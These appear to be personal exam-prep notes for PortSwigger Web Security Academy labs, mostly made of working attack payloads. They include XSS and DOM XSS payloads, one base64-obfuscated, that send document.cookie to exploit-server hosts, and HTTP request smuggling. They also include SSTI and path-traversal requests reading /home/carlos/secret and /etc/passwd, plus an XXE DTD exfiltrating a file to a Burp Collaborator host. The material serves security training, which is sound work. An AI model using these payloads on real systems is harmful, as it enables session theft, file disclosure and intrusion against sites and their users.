Stage 1: Example 1
Stage 1: Example 1
Example 1
Session Cookie is in format:
session=%7b%22username%22%3anull%2c%22isloggedin%22%3afalse%7d--
MCwCFHdrhOmsrhTg3AgHgnFZ3Fj95eR%2fAhRIImahMI4GnPvpibLKfSlfrzFZPg%3d%3d
Forgot password is one username/email entry. Followed by a Code and Password change page.
https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-
cache-poisoning-with-an-unkeyed-header
Send GET request for the home page to Burp Repeater.
Add a cache-buster query parameter, such as:?cb=1234
Add the X-Forwarded-Host header with an arbitrary hostname, such as example.com. SEND
Observe that the X-Forwarded-Host header has been used to dynamically generate an absolute
URL for importing a JavaScript file stored at /resources/js/tracking.js.
Replay the request and observe that the response contains the header X-Cache: hit. This tells us
that the response came from the cache.
Go to the exploit server and change the file name to match the path used by the vulnerable
response: /resources/js/tracking.js
Enter in the following in the Body:
document.location='https://exploit-ac451f5f1ea30c40c0a946b201400016.web-security-
academy.net/cookiestealer.php?c='+document.cookie;
Example 2
Identifying the App:
App has Advanced Search present. NOTE: THIS WAS ALSO DIFFERENT IN ANOTHER LAB WITH SAME
EXPLOIT. So it seems like there may be a greater variety in howthe exams are presented.
When entering the wrong user while trying to reset the password there is a specific error message.
This allows you to enumerate the user. For me this was “carlos” which seems to be the standard user
across the web apps.
NOTE: THIS WAS DIFFERENT IN ONE LAB WITH SAME EXPLOIT.
Selecting Home directory GET request and running ParamMiner finds additional headers to use. In this
case X-Forwarded-Host is supported.
https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-
poisoning-via-middleware
Example 3
HTTP Smuggling + XSS Through User Agent
Let Burp Scanner find the HTTP Smuggle request and returns a 200 response, some will give you 400’s
which are useless to us. Use that request, delete all the “sec” headers – they’re useless.
Add this to the end of the request that burp generated (changing your url’s and all of course):
```
GET /post?postId=4 HTTP/1.1
Host: acd41f9c1e825bd4c0813d180019004c.web-security-academy.net
User-agent: "><script>alert(document.cookie);var x=new XMLHttpRequest();
x.open("GET","https://exploit-ac461fea1ef05b25c0a73d0e017700da.web-security-
academy.net/"+document.cookie);x.send();</script>
```
And then send it through intruder with null payloads like 100 or so times
Example 4
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-
and-attributes-blocked
XSS in the search bar, the one where you have to check every tag, and every attribute through Burp
Intruder
**Tags and attribute that was allowed:**
<body onhashchange=>
**Payload that was sent to victim**
<iframe src="https://acac1f2c1e7f6507c0a71e0c00b100d9.web-security-academy.net/?query=
%27%3Cbody%20onhashchange=
%22eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXhwbG9pdC1hYzQ0MWY0MDFlZjg2NTkxYz
A4ZDFlZGMwMWNlMDBiYy53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQvP2M9Jytkb2N1bWVudC5jb29raW
U'))%22%3E//" onload="this.onload='';this.src+='#XSS'"></iframe>
Part 2
Example 5
Another DOM XSS:
https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-
using-web-messages-and-json-parse
Use the redirect param.
<iframe src=https://ac411f1d1fb8c2dec055ffa800370084.web-security-academy.net/
onload='this.contentWindow.postMessage("{\"type\":\"redirect\",\"redirectUrl\":\"javascript:window.l
ocation=%22https://exploit-ac1a1f191f10c29dc09cff9c0110008b.web-security-academy.net/?c=
%22%2bdocument.cookie\"}","*")'>
Stage 2
Example 1
Part 2 Lab Content:
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
Example 2
https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-
profile
Insert roleid and try random number. Try over 200 to get an upper limit which for me was 157 or so.
Example 3
STAGE 2 WITH THE WEIRD COOKIE
%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFD%2frCxvNx
%2bXW3WAL4p0byfjAog5HAhR77x6fKuIiTEyAhRFaOKvYIraDeg%3d%3d
The second half of the cookie changes based on the first half. It is URL encoded and HASHED with
something.
Suggestion would be to figure out how to rehash the part we have and substitute administrator in
there?
Speculatively it may or may not be using the USER API as salt for the hashing, which would then also
prevent skipping steps in the Web App.
Got it.
Ignore most of the above
Stage 3
Example 1
Stage 3 – SSTI
```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read() }}
```
Example 2
Image using ?imagefile=
With no imagesize being set.
LFI in image.
GET /admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/
passwd
GET /admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/proc/
self/environ
Example 3
File to upload
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acba1f891fe780e3c09f0a9f01d000be.web-
security-academy.net/exploit.dtd"> %xxe; ]>
<users>
<user>
<username>Example1</username>
<email>[email protected]</email>
</user>
<user>
<username>&xxe;</username>
<email>[email protected]</email>
</user>
</users>
```
Exploit server code
```
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://435nnpyidat3bzow2cb42ig7iyoucj.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
```